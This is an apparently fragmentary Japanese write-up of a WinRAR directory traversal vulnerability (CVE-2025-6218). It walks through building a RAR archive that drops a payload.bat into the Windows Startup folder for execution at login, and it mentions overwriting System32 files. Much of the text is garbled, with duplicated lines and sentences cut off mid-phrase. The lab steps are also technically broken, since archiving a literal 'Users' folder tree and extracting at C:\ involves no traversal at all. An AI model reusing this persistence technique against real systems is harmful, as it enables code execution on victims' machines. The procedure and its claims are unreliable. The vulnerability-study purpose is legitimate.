
CVE-2025-6218は、WinRARにおけるディレクトリトラバーサルの脆弱性であり、ユーザーが特別に細工された
CVE-2025-6218 は WinRAR のディレクトリトラバーサル脆弱性であり、ユーザーが特別に細工された .rar アーカイブを展開する際に、攻撃者が意図された展開ディレクトリの外部にファイルを配置することを可能にします。この欠陥を悪用することで、攻撃者は機密性の高い場所に悪意のあるファイルをドロップし、そのファイルがシステムまたはユーザーによって実行された場合、リモートコード実行 (RCE) に繋がる可能性があります。
---
WinRAR.exe --version を使用)。ディレクトリトラバーサルの脆弱性により、攻撃者はファイルパスを操作して意図しない場所にファイルを書き込むことができます。WinRAR のコンテキストでは、C:\Temp に展開されるはずのファイルが、Windows のスタートアップフォルダ (C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) などの機密ディレクトリに配置される可能性があります。このような場所に悪意のある実行可能ファイルやスクリプトが配置されると、自動的に実行され、攻撃者に被害者のシステムを制御される恐れがあります。
攻撃者は以下が可能です:
.bat ファイル)をドロップし、システム起動時にコードを実行させる。C:\Windows\System32 などのディレクトリ内の重要なシステムファイルを上書きし、システム機能を妨害したり権限を昇格させたりする。この脆弱性は、WinRAR が .rar アーカイブ内に保存されたファイルパスを適切に検証およびサニタイズできないことに起因します。ファイルを展開する際、WinRAR は ..\ や ../../ のようなパストラバーサルシーケンスを十分にチェックせずに、アーカイブ内のファイルパスメタデータを信頼します。これにより、攻撃者はファイルのパスが意図された展開ディレクトリの外を指すように細工されたアーカイブを作成できます。
..\..\..\ シーケンスが展開プロセスを欺く方法..\ シーケンスは、システムに1つ上のディレクトリレベルに移動するよう指示します。複数の ..\ シーケンス(例:..\..\..\..\..)を連鎖させることで、攻撃者は展開ディレクトリ(例:C:\Temp\Test)からドライブのルート (C:\) に移動し、その後 C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup などの任意の場所に移動できます。C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup に配置されたファイルは、ユーザーがログインすると自動的に実行されます。ここに悪意のある .bat や .exe ファイルがあると、任意のコマンドが実行される可能性があります。C:\Windows\System32 内のファイルを上書きまたは追加すると、システムの整合性が損なわれたり、権限昇格が可能になったりします。Intended Extraction (Safe):
- User extracts archive to: C:\Temp\Test
- Archive contains file: payload.bat
- Expected result: C:\Temp\Test\payload.bat
Actual Extraction (Exploited):
- User extracts archive to: C:\Temp\Test
- Archive contains file with path: ..\..\..\..\..\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
- Actual result: C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
このセクションでは、ネットワーク接続のない仮想マシン (VM) を使用して、安全で隔離されたラボ環境で CVE-2025-6218 の脆弱性を手動で再現するためのステップバイステップの手順を提供します。目標は、ユーザーログイン時に電卓 (calc.exe) を起動する無害な .bat ファイルを Windows スタートアップフォルダに配置する .rar アーカイブを作成することです。
テストフォルダを準備する:
exploit_test という名前のフォルダを作成します (例:C:\exploit_test)。シンプルなペイロードを作成する:
@echo off
start calc.exe
C:\exploit_test に payload.bat として保存します。パストラバーサル用のフォルダ構造を作成する:
C:\exploit_test 内に、目的のパスを反映したフォルダ構造を作成します:
C:\exploit_test\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
<username> は VM 上のターゲットユーザー名 (例:absholi7ly) に置き換えます。payload.bat を Startup フォルダに移動します:
C:\exploit_test\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
WinRAR を使用して悪意のある RAR アーカイブを作成する:
C:\exploit_test に移動します。Users フォルダ (これには payload.bat へのフルパスが含まれます) を選択します。exploit.rar に設定します (例:C:\exploit_test\exploit.rar)。exploit.rar を WinRAR で開いて、アーカイブの内容を確認します。以下のように表示されるはずです:
Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
アーカイブを VM に転送する:
exploit.rar を VM からアクセス可能な共有フォルダまたは USB ドライブにコピーします。exploit.rar を C:\ ドライブのルートに移動します:
C:\exploit.rar
VM でアーカイブを展開する:
C:\ に移動します。exploit.rar を右クリックして Extract Here を選択します。payload.bat が以下の場所に展開されるはずです:
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
エクスプロイトを確認する:
C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
payload.bat が存在するか確認します。ペイロードの実行をテストする:
username として再度ログインします。calc.exe) が自動的に起動するはずです。payload.bat をダブルクリックして、電卓が開くことを確認します。C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
payload.bat を探します。存在する場合、ディレクトリトラバーサルエクスプロイトは成功しています。payload.bat をメモ帳で開き、内容を確認します:
@echo off
start calc.exe
payload.bat を右クリックし、プロパティ を選択します。C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\payload.bat や C:\Users\username\AppData\Roaming\... のサブフォルダ) にある場合、エクスプロイトは意図した通りに機能していません。username として再度ログインします。payload.bat を手動でダブルクリックして、動作するか確認します。プロセスを効率化したい研究者向けに、上記の手動手順は Python スクリプトを使用して自動化できます。